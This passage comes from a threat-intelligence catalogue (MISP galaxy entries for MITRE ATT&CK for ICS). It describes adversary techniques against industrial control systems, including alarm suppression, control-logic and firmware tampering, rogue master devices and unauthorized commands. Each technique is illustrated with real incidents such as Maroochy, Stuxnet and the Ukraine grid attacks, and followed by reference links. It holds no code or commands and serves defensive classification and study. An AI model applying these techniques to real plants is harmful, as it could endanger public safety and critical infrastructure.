Adversaries may modify alarm settings to prevent alerts that may inform operators of their presence or to prevent responses to dangerous and unintended scenarios. Reporting messages are a standard part of data acquisition in control systems. Reporting messages are used as a way to transmit system state information and acknowledgements that specific actions have occurred. These messages provide vital information for the management of a physical process, and keep operators, engineers, and administrators aware of the state of system devices and physical processes. If an adversary is able to change the reporting settings, certain events could be prevented from being reported. This type of modification can also prevent operators or devices from performing actions to keep the system in a safe state. If critical reporting messages cannot trigger these actions then a Impact could occur. In ICS environments, the adversary may have to use Alarm Suppression or contend with multiple alarms and/or alarm propagation to achieve a specific goal to evade detection or prevent intended responses from occurring. Methods of suppression often rely on modification of alarm settings, such as modifying in memory code to fixed values or tampering with assembly level instruction code. In the Maroochy Attack, the adversary disabled alarms at four pumping stations. This caused alarms to not be reported to the

central computer.

The tag is: *misp-galaxy:mitre-ics-techniques="Modify Alarm Settings"*

Table 10674. Table References

Links
https://troopers.de/downloads/troopers19/TROOPERS19_NGI_IoT_diet_poisoned_fruit.pdf
https://www.mitre.org/sites/default/files/pdf/08_1145.pdf
https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-82r2.pdf

Modify Control Logic

Adversaries may place malicious code in a system, which can cause the system to malfunction by modifying its control logic. Control system devices use programming languages (e.g. relay ladder logic) to control physical processes by affecting actuators, which cause machines to operate, based on environment sensor readings. These devices often include the ability to perform remote control logic updates. Program code is normally edited in a vendor-specific Integrated Development Environment (IDE) that relies on proprietary tools and features. These IDEs allow an engineer to perform host target development and may have the ability to run the code on the machine it is programmed for. The IDE will transmit the control logic to the testing device, and will perform the required device-specific functions to apply the changes and make them active. An adversary may attempt to use this host target IDE to modify device control logic. Even though proprietary tools are often used to edit and update control logic, the process can usually be reverse-engineered and reproduced with open-source tools. An adversary can de-calibrate a sensor by removing functions in control logic that account for sensor error. This can be used to change a control process without actually spoofing command messages to a controller or device. It is believed this process happened in the lesser known over-pressurizer attacks build into Stuxnet. Pressure sensors are not perfect at translating pressure into an analog output signal, but their errors can be corrected by calibration. The pressure controller can be told what the “real” pressure is for given analog signals and then automatically linearize the measurement to what would be the “real” pressure. If the linearization is overwritten by malicious code on the S7-417 controller, analog pressure readings will be “corrected” during the attack by the pressure controller, which then interprets all analog pressure readings as perfectly normal pressure no matter how high or low their analog values are. The pressure controller then acts accordingly by never opening the stage exhaust valves. In the meantime, actual pressure keeps rising. In the Maroochy Attack, Vitek Boden gained remote computer access to the control system and altered data so that whatever function should have occurred at affected pumping stations did not occur or occurred in a different way. The software program installed in the laptop was one developed by Hunter Watertech for its use in changing configurations in the PDS computers. This ultimately led to 800,000 liters of raw sewage being spilled out into the community.

The tag is: *misp-galaxy:mitre-ics-techniques="Modify Control Logic"*

Table 10675. Table References

Links

https://www.langner.com/wp-content/uploads/2017/03/to-kill-a-centrifuge.pdf
https://www.mitre.org/sites/default/files/pdf/08_1145.pdf
https://www.fireeye.com/blog/threat-research/2017/12/attackers-deploy-new-ics-attack-framework-triton.html
https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-82r2.pdf

Modify Parameter

Adversaries may modify parameters used to instruct industrial control system devices. These devices operate via programs that dictate how and when to perform actions based on such parameters. Such parameters can determine the extent to which an action is performed and may specify additional options. For example, a program on a control system device dictating motor processes may take a parameter defining the total number of seconds to run that motor. An adversary can potentially modify these parameters to produce an outcome outside of what was intended by the operators. By modifying system and process critical parameters, the adversary may cause Impact to equipment and/or control processes. Modified parameters may be turned into dangerous, out-of-bounds, or unexpected values from typical operations. For example, specifying that a process run for more or less time than it should, or dictating an unusually high, low, or invalid value as a parameter. In the Maroochy Attack, Vitek Boden gained remote computer access to the control system and altered data so that whatever function should have occurred at affected pumping stations did not occur or occurred in a different way. The software program installed in the laptop was one developed by Hunter Watertech for its use in changing configurations in the PDS computers. This ultimately led to 800,000 liters of raw sewage being spilled out into the community.

The tag is: *misp-galaxy:mitre-ics-techniques="Modify Parameter"*

Table 10676. Table References

Links
https://www.mitre.org/sites/default/files/pdf/08_1145.pdf
https://www.wired.com/images_blogs/threatlevel/2010/11/w32_stuxnet_dossier.pdf
https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-82r2.pdf

Module Firmware

Adversaries may install malicious or vulnerable firmware onto modular hardware devices. Control system devices often contain modular hardware devices. These devices may have their own set of firmware that is separate from the firmware of the main control system equipment. This technique is similar to System Firmware, but is conducted on other system components that may not have the same capabilities or level of integrity checking. Although it results in a device re-image, malicious device firmware may provide persistent access to remaining devices. An easy point of access for an adversary is the Ethernet card, which may have its own CPU, RAM, and operating system. The adversary may attack and likely exploit the computer on an Ethernet card. Exploitation of the Ethernet card computer may enable the adversary to accomplish additional attacks, such as the

following: Delayed Attack - The adversary may stage an attack in advance and choose when to launch it, such as at a particularly damaging time. Brick the Ethernet Card - Malicious firmware may be programmed to result in an Ethernet card failure, requiring a factory return. Random Attack or Failure - The adversary may load malicious firmware onto multiple field devices. Execution of an attack and the time it occurs is generated by a pseudo-random number generator. A Field Device Worm - The adversary may choose to identify all field devices of the same model, with the end goal of performing a device-wide compromise. Attack Other Cards on the Field Device - Although it is not the most important module in a field device, the Ethernet card is most accessible to the adversary and malware. Compromise of the Ethernet card may provide a more direct route to compromising other modules, such as the CPU module.

The tag is: *misp-galaxy:mitre-ics-techniques="Module Firmware"*

Table 10677. Table References

Links
https://www.researchgate.net/publication/228849043_Leveraging_ethernet_card_vulnerabilities_in_field_devices
https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-82r2.pdf

Monitor Process State

Adversaries may gather information about the physical process state. This information may be used to gain more information about the process itself or used as a trigger for malicious actions. The sources of process state information may vary such as, OPC tags, historian data, specific PLC block information, or network traffic.

The tag is: *misp-galaxy:mitre-ics-techniques="Monitor Process State"*

Table 10678. Table References

Links
https://www.wired.com/images_blogs/threatlevel/2010/11/w32_stuxnet_dossier.pdf
https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-82r2.pdf

Network Connection Enumeration

Adversaries may perform network connection enumeration to discover information about device communication patterns. If an adversary can inspect the state of a network connection with tools, such as netstat, in conjunction with System Firmware, then they can determine the role of certain devices on the network. The adversary can also use Network Sniffing to watch network traffic for details about the source, destination, protocol, and content.

The tag is: *misp-galaxy:mitre-ics-techniques="Network Connection Enumeration"*

Table 10679. Table References

Links

https://attack.mitre.org/wiki/Technique/T1049
https://www.welivesecurity.com/wp-content/uploads/2017/06/Win32_Industroyer.pdf
https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-82r2.pdf

Network Service Scanning

Network Service Scanning is the process of discovering services on networked systems. This can be achieved through a technique called port scanning or probing. Port scanning interacts with the TCP/IP ports on a target system to determine whether ports are open, closed, or filtered by a firewall. This does not reveal the service that is running behind the port, but since many common services are run on specific port numbers, the type of service can be assumed. More in-depth testing includes interaction with the actual service to determine the service type and specific version. One of the most-popular tools to use for Network Service Scanning is Nmap. An adversary may attempt to gain information about a target device and its role on the network via Network Service Scanning techniques, such as port scanning. Network Service Scanning is useful for determining potential vulnerabilities in services on target devices. Network Service Scanning is closely tied to. Scanning ports can be noisy on a network. In some attacks, adversaries probe for specific ports using custom tools. This was specifically seen in the Triton and PLC-Blaster attacks.

The tag is: *misp-galaxy:mitre-ics-techniques="Network Service Scanning"*

Table 10680. Table References

Links
https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-82r2.pdf

Network Sniffing

Network sniffing is the practice of using a network interface on a computer system to monitor or capture information1 regardless of whether it is the specified destination for the information. An adversary may attempt to sniff the traffic to gain information about the target. This information can vary in the level of importance. Relatively unimportant information is general communications to and from machines. Relatively important information would be login information. User credentials may be sent over an unencrypted protocol, such as Telnet, that can be captured and obtained through network packet analysis. Network sniffing can be a way to discover information for Control Device Identification. In addition, ARP and Domain Name Service (DNS) poisoning can be used to capture credentials to websites, proxies, and internal systems by redirecting traffic to an adversary.

The tag is: *misp-galaxy:mitre-ics-techniques="Network Sniffing"*

Table 10681. Table References

Links
https://attack.mitre.org/wiki/Technique/T1040
https://www.wired.com/images_blogs/threatlevel/2010/11/w32_stuxnet_dossier.pdf

https://blog.talosintelligence.com/2018/06/vpnfilter-update.html
https://www.youtube.com/watch?v=yuZazP22rpI
https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-82r2.pdf
http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599
http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html
https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm
http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx
https://technet.microsoft.com/en-us/library/ee791851.aspx

Point & Tag Identification

Adversaries may collect point and tag values to gain a more comprehensive understanding of the process environment. Points may be values such as inputs, memory locations, outputs or other process specific variables.1 Tags are the identifiers given to points for operator convenience. Collecting such tags provides valuable context to environmental points and enables an adversary to map inputs, outputs, and other values to their control processes. Understanding the points being collected may inform an adversary on which processes and values to keep track of over the course of an operation.

The tag is: *misp-galaxy:mitre-ics-techniques="Point & Tag Identification"*

Table 10682. Table References

Links
Backdoor.Oldrea enumerates all OPC tags and queries for specific fields such as server state, tag name, type, access, and id[Backdoor.Oldrea enumerates all OPC tags and queries for specific fields such as server state, tag name, type, access, and id]
https://www.fireeye.com/blog/threat-research/2014/07/havex-its-down-with-opc.html

Program Download

Adversaries may perform a program download to load malicious or unintended program logic on a device as a method of persistence or to disrupt response functions or process control. Program download onto devices, such as PLCs, allows adversaries to implement custom logic. Malicious PLC programs may be used to disrupt physical processes or enable adversary persistence. The act of a program download will cause the PLC to enter a STOP operation state, which may prevent response functions from operating correctly.

The tag is: *misp-galaxy:mitre-ics-techniques="Program Download"*

Table 10683. Table References

Links

https://www.wired.com/images_blogs/threatlevel/2010/11/w32_stuxnet_dossier.pdf
https://www.midnightbluelabs.com/blog/2018/1/16/analyzing-the-triton-industrial-malware

Program Organization Units

Program Organizational Units (POUs) are block structures used within PLC programming to create programs and projects. POUs can be used to hold user programs written in IEC 61131-3 languages: Structured text, Instruction list, Function block, and Ladder logic. They can also provide additional functionality, such as establishing connections between the PLC and other devices using TCON. Stuxnet uses a simple code-prepending infection technique to infect Organization Blocks (OB). For example, the following sequence of actions is performed when OB1 is infected: Increase the size of the original block. Write malicious code to the beginning of the block. Insert the original OB1 code after the malicious code.

The tag is: *misp-galaxy:mitre-ics-techniques="Program Organization Units"*

Table 10684. Table References

Links
Stuxnet infects PLCs with different code depending on the characteristics of the target system. An infection sequence consists of code blocks and data blocks that will be downloaded to the PLC to alter its behavior.[Stuxnet infects PLCs with different code depending on the characteristics of the target system. An infection sequence consists of code blocks and data blocks that will be downloaded to the PLC to alter its behavior.]
https://cdn.selinc.com/assets/Literature/Publications/Technical%20Papers/6560_PracticalApplications_MW_20120224_Web.pdf?v=20151125-003051
https://www.blackhat.com/docs/asia-16/materials/asia-16-Spenneberg-PLC-Blaster-A-Worm-Living-Solely-In-The-PLC-wp.pdf
https://www.wired.com/images_blogs/threatlevel/2010/11/w32_stuxnet_dossier.pdf

Program Upload

Adversaries may attempt to upload a program from a PLC to gather information about an industrial process. Uploading a program may allow them to acquire and study the underlying logic. Methods of program upload include vendor software, which enables the user to upload and read a program running on a PLC. This software can be used to upload the target program to a workstation, jump box, or an interfacing device.

The tag is: *misp-galaxy:mitre-ics-techniques="Program Upload"*

Table 10685. Table References

Links
https://www.wired.com/images_blogs/threatlevel/2010/11/w32_stuxnet_dossier.pdf

Project File Infection

Adversaries may attempt to infect project files with malicious code. These project files may consist of objects, program organization units, variables such as tags, documentation, and other configurations needed for PLC programs to function. Using built in functions of the engineering software, adversaries may be able to download an infected program to a PLC in the operating environment enabling further execution and persistence techniques. Adversaries may export their own code into project files with conditions to execute at specific intervals.3 Malicious programs allow adversaries control of all aspects of the process enabled by the PLC. Once the project file is downloaded to a PLC the workstation device may be disconnected with the infected project file still executing.

The tag is: *misp-galaxy:mitre-ics-techniques="Project File Infection"*

Table 10686. Table References

Links
https://infosys.beckhoff.com/english.php?content=../content/1033/tc3_sourcecontrol/18014398915785483.html&id=
http://www.plcdev.com/book/export/html/373
https://www.wired.com/images_blogs/threatlevel/2010/11/w32_stuxnet_dossier.pdf

Remote File Copy

Adversaries may copy files from one system to another to stage adversary tools or other files over the course of an operation. Copying of files may also be performed laterally between internal victim systems to support Lateral Movement with remote Execution using inherent file sharing protocols such as file sharing over SMB to connected network shares. In control systems environments, malware may use SMB and other file sharing protocols to move laterally through industrial networks.

The tag is: *misp-galaxy:mitre-ics-techniques="Remote File Copy"*

Table 10687. Table References

Links
WannaCry can move laterally through industrial networks by means of the SMB service.[WannaCry can move laterally through industrial networks by means of the SMB service.]
https://dragos.com/blog/industry-news/implications-of-it-ransomware-for-ics-environments/

Remote System Discovery

Remote System Discovery is the process of identifying the presence of hosts on a network1, and details about them. This process is common to network administrators validating the presence of machines and services, as well as adversaries mapping out a network for future-attack targets. An adversary may attempt to gain information about the target network via network enumeration techniques such as port scanning. One of the most popular tools for enumeration is Nmap. Remote

System Discovery allows adversaries to map out hosts on the network as well as the TCP/IP ports that are open, closed, or filtered. Remote System Discovery tools also aid in by attempting to connect to the service and determine its exact version. The adversary may use this information to pick an exploit for a particular version if a known vulnerability exists.

The tag is: *misp-galaxy:mitre-ics-techniques="Remote System Discovery"*

Table 10688. Table References

Links
https://attack.mitre.org/wiki/Technique/T1018
https://pdfs.semanticscholar.org/18df/43ef1690b0fae15a36f770001160aefbc6c5.pdf
https://www.welivesecurity.com/wp-content/uploads/2017/06/Win32_Industroyer.pdf
https://www.blackhat.com/docs/asia-16/materials/asia-16-Spenneberg-PLC-Blaster-A-Worm-Living-Solely-In-The-PLC-wp.pdf
https://www.wired.com/images_blogs/threatlevel/2010/11/w32_stuxnet_dossier.pdf
https://ics-cert.us-cert.gov/sites/default/files/documents/MAR-17-352-01%20HatMan%20-%20Safety%20System%20Targeted%20Malware%20%28Update%20B%29.pdf
https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-82r2.pdf

Replication Through Removable Media

Adversaries may move onto systems, such as those separated from the enterprise network, by copying malware to removable media which is inserted into the control systems environment. The adversary may rely on unknowing trusted third parties, such as suppliers or contractors with access privileges, to introduce the removable media. This technique enables initial access to target devices that never connect to untrusted networks, but are physically accessible. Operators of the German nuclear power plant, Gundremmingen, discovered malware on a facility computer not connected to the internet. The malware included Conficker and W32.Ramnit, which were also found on eighteen removable disk drives in the facility. The plant has since checked for infection and cleaned up more than 1,000 computers.9 An ESET researcher commented that internet disconnection does not guarantee system safety from infection or payload execution.

The tag is: *misp-galaxy:mitre-ics-techniques="Replication Through Removable Media"*

Table 10689. Table References

Links
https://www.kkw-gundremmingen.de/presse.php?id=571

Stuxnet was able to self-replicate by being spread through removable drives. A willing insider or unknown third party, such as a contractor, may have brought the removable media into the target environment.12 The earliest version of Stuxnet relied on physical installation, infecting target systems when an infected configuration file carried by a USB stick was opened.[Stuxnet was able to self-replicate by being spread through removable drives. A willing insider or unknown third party, such as a contractor, may have brought the removable media into the target environment.12 The earliest version of Stuxnet relied on physical installation, infecting target systems when an infected configuration file carried by a USB stick was opened.]
https://www.reuters.com/article/us-nuclearpower-cyber-germany/german-nuclear-plant-infected-with-computer-viruses-operator-says-idUSKCN0XN2OS
https://news.softpedia.com/news/on-chernobyl-s-30th-anniversary-malware-shuts-down-german-nuclear-power-plant-503429.shtml
https://www.sciencealert.com/multiple-computer-viruses-have-been-discovered-in-this-german-nuclear-plant
https://www.geek.com/apps/german-nuclear-plant-found-riddled-with-conficker-other-viruses-1653415/
https://arstechnica.com/information-technology/2016/04/german-nuclear-plants-fuel-rod-system-swarming-with-old-malware/
https://www.darkreading.com/endpoint/german-nuclear-power-plant-infected-with-malware/d/d-id/1325298
https://www.bbc.com/news/technology-36158606
https://www.welivesecurity.com/2016/04/28/malware-found-german-nuclear-power-plant/
https://support.symantec.com/us/en/article.tech93179.html
https://www.wired.com/images_blogs/threatlevel/2010/11/w32_stuxnet_dossier.pdf
https://www.langner.com/wp-content/uploads/2017/03/to-kill-a-centrifuge.pdf

Rogue Master Device

Adversaries may setup a rogue master to leverage control server functions to communicate with slave devices. A rogue master device can be used to send legitimate control messages to other control system devices, affecting processes in unintended ways. It may also be used to disrupt network communications by capturing and receiving the network traffic meant for the actual master device. Impersonating a master device may also allow an adversary to avoid detection. In the Maroochy Attack, Vitek Boden falsified network addresses in order to send false data and instructions to pumping stations.

The tag is: *misp-galaxy:mitre-ics-techniques="Rogue Master Device"*

Table 10690. Table References

Links
https://www.mitre.org/sites/default/files/pdf/08_1145.pdf
https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-82r2.pdf

http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599
http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html
https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm
http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx
https://technet.microsoft.com/en-us/library/ee791851.aspx

Role Identification

Adversaries may perform role identification of devices involved with physical processes of interest in a target control system. Control systems devices often work in concert to control a physical process. Each device can have one or more roles that it performs within that control process. By collecting this role-based data, an adversary can construct a more targeted attack. For example, a power generation plant may have unique devices such as one that monitors power output of a generator and another that controls the speed of a turbine. Examining devices roles allows the adversary to observe how the two devices work together to monitor and control a physical process. Understanding the role of a target device can inform the adversary's decision on what action to take, in order to cause Impact and influence or disrupt the integrity of operations. Furthermore, an adversary may be able to capture control system protocol traffic. By studying this traffic, the adversary may be able to determine which devices are outstations, and which are masters. Understanding of master devices and their role within control processes can enable the use of Rogue Master Device.

The tag is: *misp-galaxy:mitre-ics-techniques="Role Identification"*

Table 10691. Table References

Links
Ensure ICS and IT network cables are kept separate and that devices are locked up when possible, to reduce the likelihood they can be tampered with.[Ensure ICS and IT network cables are kept separate and that devices are locked up when possible, to reduce the likelihood they can be tampered with.]
https://www.f-secure.com/weblog/archives/00002718.html
https://www.welivesecurity.com/wp-content/uploads/2017/06/Win32_Industroyer.pdf
https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-82r2.pdf

Rootkit

Adversaries may deploy rootkits to hide the presence of programs, files, network connections, services, drivers, and other system components. Rootkits are programs that hide the existence of malware by intercepting and modifying operating-system API calls that supply system information. Rootkits or rootkit-enabling functionality may reside at the user or kernel level in the operating system, or lower. Firmware rootkits that affect the operating system yield nearly full control of the

system. While firmware rootkits are normally developed for the main processing board, they can also be developed for I/O that can be attached to the asset. Compromise of this firmware allows the modification of all of the process variables and functions the module engages in. This may result in commands being disregarded and false information being fed to the main device. By tampering with device processes, an adversary may inhibit its expected response functions and possibly enable Impact.

The tag is: *misp-galaxy:mitre-ics-techniques="Rootkit"*

Table 10692. Table References

Links
https://attack.mitre.org/wiki/Technique/T1014
https://www.langner.com/wp-content/uploads/2017/03/to-kill-a-centrifuge.pdf
https://www.wired.com/images_blogs/threatlevel/2010/11/w32_stuxnet_dossier.pdf
https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-82r2.pdf
http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599
http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html
https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm
http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx
https://technet.microsoft.com/en-us/library/ee791851.aspx

Screen Capture

Adversaries may attempt to perform screen capture of devices in the control system environment. Screenshots may be taken of workstations, HMIs, or other devices that display environment-relevant process, device, reporting, alarm, or related data. These device displays may reveal information regarding the ICS process, layout, control, and related schematics. In particular, an HMI can provide a lot of important industrial process information. Analysis of screen captures may provide the adversary with an understanding of intended operations and interactions between critical devices.

The tag is: *misp-galaxy:mitre-ics-techniques="Screen Capture"*

Table 10693. Table References

Links
https://www.us-cert.gov/ncas/alerts/TA17-293A
https://dragos.com/resource/allanite/
https://www.fireeye.com/blog/threat-research/2017/09/apt33-insights-into-iranian-cyber-espionage.html
https://www.symantec.com/security-center/writeup/2017-030708-4403-99

Scripting

Adversaries may use scripting languages to execute arbitrary code in the form of a pre-written script or in the form of user-supplied code to an interpreter. Scripting languages are programming languages that differ from compiled languages, in that scripting languages use an interpreter, instead of a compiler. These interpreters read and compile part of the source code just before it is executed, as opposed to compilers, which compile each and every line of code to an executable file. Scripting allows software developers to run their code on any system where the interpreter exists. This way, they can distribute one package, instead of precompiling executables for many different systems. Scripting languages, such as Python, have their interpreters shipped as a default with many Linux distributions. In addition to being a useful tool for developers and administrators, scripting language interpreters may be abused by the adversary to execute code in the target environment. Due to the nature of scripting languages, this allows for weaponized code to be deployed to a target easily, and leaves open the possibility of on-the-fly scripting to perform a task.

The tag is: *misp-galaxy:mitre-ics-techniques="Scripting"*

Table 10694. Table References

Links
https://www.symantec.com/blogs/threat-intelligence/elfin-apt33-espionage
https://dragos.com/resource/magnallium/
https://www.securityweek.com/researchers-analyze-tools-used-hexane-attackers-against-industrial-firms
https://www.bankinfosecurity.com/lyceum-apt-group-new-threat-to-oil-gas-companies-a-13003
https://unit42.paloaltonetworks.com/the-oilrig-campaign-attacks-on-saudi-arabian-organizations-deliver-helminth-backdoor/
https://ics-cert.us-cert.gov/sites/default/files/documents/MAR-17-352-01%20HatMan%20-%20Safety%20System%20Targeted%20Malware%20%28Update%20B%29.pdf
https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-82r2.pdf

Serial Connection Enumeration

Adversaries may perform serial connection enumeration to gather situational awareness after gaining access to devices in the OT network. Control systems devices often communicate to each other via various types of serial communication mediums. These serial communications are used to facilitate informational communication, as well as commands. Serial Connection Enumeration differs from I/O Module Discovery, as I/O modules are auxiliary systems to the main system, and devices that are connected via serial connection are normally discrete systems. While IT and OT networks may work in tandem, the exact structure of the OT network may not be discernible from the IT network alone. After gaining access to a device on the OT network, an adversary may be able to enumerate the serial connections. From this perspective, the adversary can see the specific physical devices to which the compromised device is connected to. This gives the adversary greater situational awareness and can influence the actions that the adversary can take in an attack.

The tag is: *misp-galaxy:mitre-ics-techniques="Serial Connection Enumeration"*

Table 10695. Table References

Links
https://www.welivesecurity.com/wp-content/uploads/2017/06/Win32_Industroyer.pdf
https://dragos.com/blog/crashoverride/CrashOverride-01.pdf
https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-82r2.pdf

Service Stop

Adversaries may stop or disable services on a system to render those services unavailable to legitimate users. Stopping critical services can inhibit or stop response to an incident or aid in the adversary's overall objectives to cause damage to the environment. Services may not allow for modification of their data stores while running. Adversaries may stop services in order to conduct Data Destruction.

The tag is: *misp-galaxy:mitre-ics-techniques="Service Stop"*

Table 10696. Table References

Links
https://attack.mitre.org/techniques/T1489/
https://www.welivesecurity.com/wp-content/uploads/2017/06/Win32_Industroyer.pdf
https://www.welivesecurity.com/2016/01/03/blackenergy-sshbeardoor-details-2015-attacks-ukrainian-news-media-electric-industry/

Spearphishing Attachment

Adversaries may use a spearphishing attachment, a variant of spearphishing, as a form of a social engineering attack against specific targets. Spearphishing attachments are different from other forms of spearphishing in that they employ malware attached to an email. All forms of spearphishing are electronically delivered and target a specific individual, company, or industry. In this scenario, adversaries attach a file to the spearphishing email and usually rely upon User Execution to gain execution and access.

The tag is: *misp-galaxy:mitre-ics-techniques="Spearphishing Attachment"*

Table 10697. Table References

Links
https://attack.mitre.org/techniques/T1193/
https://www.eisac.com/public-news-detail?id=115909
https://www.fireeye.com/blog/threat-research/2017/09/apt33-insights-into-iranian-cyber-espionage.html
https://www.wired.com/story/iran-hackers-us-phishing-tensions/

https://www.symantec.com/connect/blogs/dragonfly-western-energy-sector-targeted-sophisticated-attack-group
https://dragos.com/wp-content/uploads/Sample-WorldView-Report.pdf
https://dragos.com/wp-content/uploads/yir-ics-activity-groups-threat-landscape-2018.pdf
https://www.us-cert.gov/ncas/alerts/TA17-293A
https://dragos.com/resource/hexane/
https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Report.pdf
https://www.securityweek.com/five-threat-groups-target-industrial-systems-dragos
https://unit42.paloaltonetworks.com/the-oilrig-campaign-attacks-on-saudi-arabian-organizations-deliver-helminth-backdoor/
https://www.f-secure.com/weblog/archives/00002718.html
https://www.boozallen.com/content/dam/boozallen/documents/2016/09/ukraine-report-when-the-lights-went-out.pdf

Standard Application Layer Protocol

Adversaries may establish command and control capabilities over commonly used application layer protocols such as HTTP(S), OPC, RDP, telnet, DNP3, and modbus. These protocols may be used to disguise adversary actions as benign network traffic. Standard protocols may be seen on their associated port or in some cases over a non-standard port. Adversaries may use these protocols to reach out of the network for command and control, or in some cases to other infected devices within the network.

The tag is: *misp-galaxy:mitre-ics-techniques="Standard Application Layer Protocol"*

Table 10698. Table References

Links
https://dragos.com/resource/hexane/
https://unit42.paloaltonetworks.com/the-oilrig-campaign-attacks-on-saudi-arabian-organizations-deliver-helminth-backdoor/
https://www.boozallen.com/content/dam/boozallen/documents/2016/09/ukraine-report-when-the-lights-went-out.pdf
https://www.wired.com/images_blogs/threatlevel/2010/11/w32_stuxnet_dossier.pdf

Supply Chain Compromise

Adversaries may perform supply chain compromise to gain control systems environment access by means of infected products, software, and workflows. Supply chain compromise is the manipulation of products, such as devices or software, or their delivery mechanisms before receipt by the end consumer. Adversary compromise of these products and mechanisms is done for the goal of data or system compromise, once infected products are introduced to the target

environment. Supply chain compromise can occur at all stages of the supply chain, from manipulation of development tools and environments to manipulation of developed products and tools distribution mechanisms. This may involve the compromise and replacement of legitimate software and patches, such as on third party or vendor websites. Targeting of supply chain compromise can be done in attempts to infiltrate the environments of a specific audience. In control systems environments with assets in both the IT and OT networks, it is possible a supply chain compromise affecting the IT environment could enable further access to the OT environment. F-Secure Labs analyzed the approach the adversary used to compromise victim systems with Havex. The adversary planted trojanized software installers available on legitimate ICS/SCADA vendor websites. After being downloaded, this software infected the host computer with a Remote Access Trojan (RAT).

The tag is: *misp-galaxy:mitre-ics-techniques="Supply Chain Compromise"*

Table 10699. Table References

Links
https://www.symantec.com/connect/blogs/dragonfly-western-energy-sector-targeted-sophisticated-attack-group
https://dragos.com/wp-content/uploads/Dragos-Oil-and-Gas-Threat-Perspective-2019.pdf
https://www.f-secure.com/weblog/archives/00002718.html

System Firmware

System firmware on modern assets is often designed with an update feature. Older device firmware may be factory installed and require special reprograming equipment. When available, the firmware update feature enables vendors to remotely patch bugs and perform upgrades. Device firmware updates are often delegated to the user and may be done using a software update package. It may also be possible to perform this task over the network. An adversary may exploit the firmware update feature on accessible devices to upload malicious or out-of-date firmware. Malicious modification of device firmware may provide an adversary with root access to a device, given firmware is one of the lowest programming abstraction layers. In the 2015 attack on the Ukranian power grid, the adversaries gained access to the control networks of three different energy companies. The adversaries developed malicious firmware for the serial-to-ethernet devices which rendered them inoperable and severed connections between the control center and the substation.

The tag is: *misp-galaxy:mitre-ics-techniques="System Firmware"*

Table 10700. Table References

Links
http://www.sciencedirect.com/science/article/pii/S1874548213000231
https://ics.sans.org/media/E-ISAC_SANS_Ukraine_DUC_5.pdf
https://ics-cert.us-cert.gov/sites/default/files/documents/MAR-17-352-01%20HatMan%20-%20Safety%20System%20Targeted%20Malware%20%28Update%20B%29.pdf

https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-82r2.pdf

Theft of Operational Information

Adversaries may steal operational information on a production environment as a direct mission outcome for personal gain or to inform future operations. This information may include design documents, schedules, rotational data, or similar artifacts that provide insight on operations. In the Bowman Dam incident, adversaries probed systems for operational data.

The tag is: *misp-galaxy:mitre-ics-techniques="Theft of Operational Information"*

Table 10701. Table References

Links
https://time.com/4270728/iran-cyber-attack-dam-fbi/
https://www.wsj.com/articles/iranian-hackers-infiltrated-new-york-dam-in-2013-1450662559
https://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/w32_duqu_the_precursor_to_the_next_stuxnet.pdf
https://www.symantec.com/security-center/writeup/2012-052811-0308-99

Unauthorized Command Message

Adversaries may send unauthorized command messages to instruct control systems devices to perform actions outside their expected functionality for process control. Command messages are used in ICS networks to give direct instructions to control systems devices. If an adversary can send an unauthorized command message to a control system, then it can instruct the control systems device to perform an action outside the normal bounds of the device's actions. An adversary could potentially instruct a control systems device to perform an action that will cause an Impact. In the Maroochy Attack, the adversary used a dedicated analog two-way radio system to send false data and instructions to pumping stations and the central computer. In the 2015 attack on the Ukranian power grid, the adversaries gained access to the control networks of three different energy companies. The adversaries used valid credentials to seize control of operator workstations and access a distribution management system (DMS) client application via a VPN. The adversaries used these tools to issue unauthorized commands to breakers at substations which caused a loss of power to over 225,000 customers over various areas.

The tag is: *misp-galaxy:mitre-ics-techniques="Unauthorized Command Message"*

Table 10702. Table References

Links
http://ieeexplore.ieee.org/stamp/stamp.jsp?tp=&arnumber=6142258
https://www.mitre.org/sites/default/files/pdf/08_1145.pdf
https://ics.sans.org/media/E-ISAC_SANS_Ukraine_DUC_5.pdf
https://www.welivesecurity.com/wp-content/uploads/2017/06/Win32_Industroyer.pdf

https://www.wired.com/images_blogs/threatlevel/2010/11/w32_stuxnet_dossier.pdf
https://www.fireeye.com/blog/threat-research/2017/12/attackers-deploy-new-ics-attack-framework-triton.html
https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-82r2.pdf

User Execution

